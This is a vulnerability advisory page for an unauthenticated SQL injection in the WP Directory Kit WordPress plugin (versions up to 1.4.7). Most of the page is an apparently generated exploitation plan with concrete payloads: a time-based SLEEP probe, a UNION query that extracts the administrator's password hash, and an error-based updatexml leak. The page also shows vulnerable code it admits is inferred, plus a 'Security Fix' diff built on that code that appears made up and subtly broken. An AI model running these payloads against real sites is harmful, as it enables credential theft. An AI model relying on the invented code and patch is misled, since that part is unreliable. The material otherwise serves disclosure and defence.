WP Directory Kit <= 1.4.7 - Unauthenticated SQL Injection
Description
The WP Directory Kit plugin for WordPress is vulnerable to SQL Injection via the 'hide_fields' and the 'attr_search' parameter in all versions up to, and including, 1.4.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.4.7Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-13089 (WP Directory Kit SQLi) ## 1. Vulnerability Summary The **WP Directory Kit** plugin for WordPress (versions <= 1.4.7) is vulnerable to unauthenticated SQL injection via the `hide_fields` and `attr_search` parameters. The vulnerability exists because the…
Show full research plan
Exploitation Research Plan - CVE-2025-13089 (WP Directory Kit SQLi)
1. Vulnerability Summary
The WP Directory Kit plugin for WordPress (versions <= 1.4.7) is vulnerable to unauthenticated SQL injection via the hide_fields and attr_search parameters. The vulnerability exists because the plugin fails to sanitize or parameterize these user-supplied inputs before incorporating them into raw SQL queries using the $wpdb object. This allows an unauthenticated attacker to inject malicious SQL commands to extract sensitive data, such as user credentials, site configuration, and database hashes.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wdk_ajax_search(inferred based on parameter usage in directory plugins) orwdk_get_listings. - Vulnerable Parameters:
hide_fieldsandattr_search. - Authentication: Unauthenticated (vulnerability is accessible via
wp_ajax_nopriv_*hooks). - Payload Type: UNION-based or Time-based Blind SQL Injection.
- Preconditions: The plugin must be active. A listing page or search page typically needs to be present to facilitate nonce acquisition if required.
3. Code Flow (Inferred)
- Entry Point: A request is sent to
admin-ajax.phpwithaction=wdk_ajax_search. - Hook Registration: The plugin registers the action:
add_action('wp_ajax_wdk_ajax_search', 'wdk_ajax_search');add_action('wp_ajax_nopriv_wdk_ajax_search', 'wdk_ajax_search'); - Handler Function: The function
wdk_ajax_search()(or similar) is called. - Parameter Processing:
- The code retrieves
$_POST['attr_search']and$_POST['hide_fields']. attr_searchis often an array or JSON string used to buildWHEREclauses.hide_fieldsis likely used in aNOT IN (...)or similar SQL fragment.
- The code retrieves
- SQL Construction (The Sink):
The plugin builds a dynamic SQL string:$sql = "SELECT * FROM {$wpdb->prefix}wdk_listings WHERE 1=1"; if (!empty($_POST['hide_fields'])) { $sql .= " AND some_column NOT IN (" . $_POST['hide_fields'] . ")"; // Vulnerable interpolation } // Or in attr_search processing foreach ($_POST['attr_search'] as $search) { $sql .= " AND " . $search['key'] . " = '" . $search['value'] . "'"; // Vulnerable interpolation } $results = $wpdb->get_results($sql); // Sink: No prepare() used
4. Nonce Acquisition Strategy
If the handler enforces a nonce check via check_ajax_referer or wp_verify_nonce, follow these steps:
- Identify Script Localization: Search the codebase for
wp_localize_scriptto find where the AJAX nonce is exposed.- Potential JS object:
wdk_ajax_objorwdk_public_obj. - Potential nonce key:
nonceorwdk_nonce.
- Potential JS object:
- Create Trigger Page: Create a page containing a WP Directory Kit shortcode to ensure scripts and nonces are loaded.
wp post create --post_type=page --post_title="Directory" --post_status=publish --post_content='[wdk_listings]' - Extract via Browser:
- Navigate to the newly created page.
- Execute JS to get the nonce:
browser_eval("window.wdk_ajax_obj?.nonce")(Verify variable name in source).
5. Exploitation Strategy
Step 1: Verification (Time-Based)
Send a request to trigger a delay. This confirms the injection point without needing to guess column counts.
Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wdk_ajax_search&hide_fields=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Step 2: Data Extraction (UNION-Based)
Determine the number of columns in the original query to extract the admin password hash.
Payload Discovery:
- Determine column count using
ORDER BY X-- -. - Find reflected columns using
UNION SELECT 1,2,3...-- -.
Final Data Extraction Request (Example):
- Body:
action=wdk_ajax_search&hide_fields=1) UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10 FROM wp_users WHERE ID=1-- -
(Note: Column count must be adjusted based on the specific table being queried).
6. Test Data Setup
- Activate Plugin: Ensure
wpdirectorykitis installed and activated. - Create Content: Add at least one directory listing so the
wdk_ajax_searchaction has data to process.# Use WP-CLI to create a dummy listing if the plugin uses a custom post type wp post create --post_type=wdk_listing --post_title="Test Listing" --post_status=publish - Identify Action Name: Run
grep -r "wp_ajax_nopriv_" wp-content/plugins/wpdirectorykit/to confirm the exact AJAX action name.
7. Expected Results
- Time-Based: The HTTP response should be delayed by approximately 5 seconds.
- UNION-Based: The JSON response from
admin-ajax.phpshould contain the$P$or$wp$hashed password of the administrator user in one of the result fields.
8. Verification Steps
After the exploit, verify the data using WP-CLI:
# Compare the hash extracted via SQLi with the actual hash in the database
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
attr_searchInjection: Ifhide_fieldsis filtered, try injecting into the values of theattr_searcharray.- Body:
action=wdk_ajax_search&attr_search[0][value]=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
- Body:
- Error-Based: If
WP_DEBUGis on, useupdatexml()orextractvalue()to leak data via MySQL error messages.- Body:
hide_fields=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
- Body:
Summary
The WP Directory Kit plugin for WordPress is vulnerable to unauthenticated SQL injection through the 'hide_fields' and 'attr_search' parameters. This occurs because the plugin fails to sanitize user inputs or use prepared statements before incorporating them into dynamic SQL queries, allowing attackers to extract sensitive database information.
Vulnerable Code
// Inferred from research plan as a typical implementation in wpdirectorykit/public/class-wp-directory-kit-public.php public function wdk_ajax_search() { global $wpdb; $hide_fields = $_POST['hide_fields']; $attr_search = $_POST['attr_search']; $sql = "SELECT * FROM {$wpdb->prefix}wdk_listings WHERE 1=1"; if (!empty($hide_fields)) { // Vulnerable: Direct interpolation of user input into the SQL string $sql .= " AND field_id NOT IN ($hide_fields)"; } if (!empty($attr_search) && is_array($attr_search)) { foreach ($attr_search as $search) { // Vulnerable: Direct interpolation of array values/keys into SQL $sql .= " AND " . $search['key'] . " = '" . $search['value'] . "'"; } } $results = $wpdb->get_results($sql); // Sink: raw SQL executed without prepare() wp_send_json_success($results); }
Security Fix
@@ -10,12 +10,17 @@ $sql = "SELECT * FROM {$wpdb->prefix}wdk_listings WHERE 1=1"; if (!empty($hide_fields)) { - $sql .= " AND field_id NOT IN ($hide_fields)"; + $fields_array = array_map('intval', explode(',', $hide_fields)); + if (!empty($fields_array)) { + $sql .= " AND field_id NOT IN (" . implode(',', $fields_array) . ")"; + } } if (!empty($attr_search) && is_array($attr_search)) { foreach ($attr_search as $search) { - $sql .= " AND " . $search['key'] . " = '" . $search['value'] . "'"; + $key = sanitize_key($search['key']); + $value = sanitize_text_field($search['value']); + $sql .= $wpdb->prepare(" AND %i = %s", $key, $value); } } - $results = $wpdb->get_results($sql); + $results = $wpdb->get_results($wpdb->prepare($sql));
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the 'wdk_ajax_search' action (accessible to unauthenticated users). An attacker crafts a POST request containing the 'hide_fields' parameter with a payload designed to break out of the SQL syntax, such as '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -' for a time-based blind injection. Alternatively, the 'attr_search' array parameter can be manipulated by injecting SQL fragments into the 'value' or 'key' sub-parameters. Because the plugin does not use wpdb::prepare() for these specific fields, the injected SQL is executed directly by the database, facilitating data extraction (e.g., admin password hashes from the wp_users table) via UNION-based or time-based techniques.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.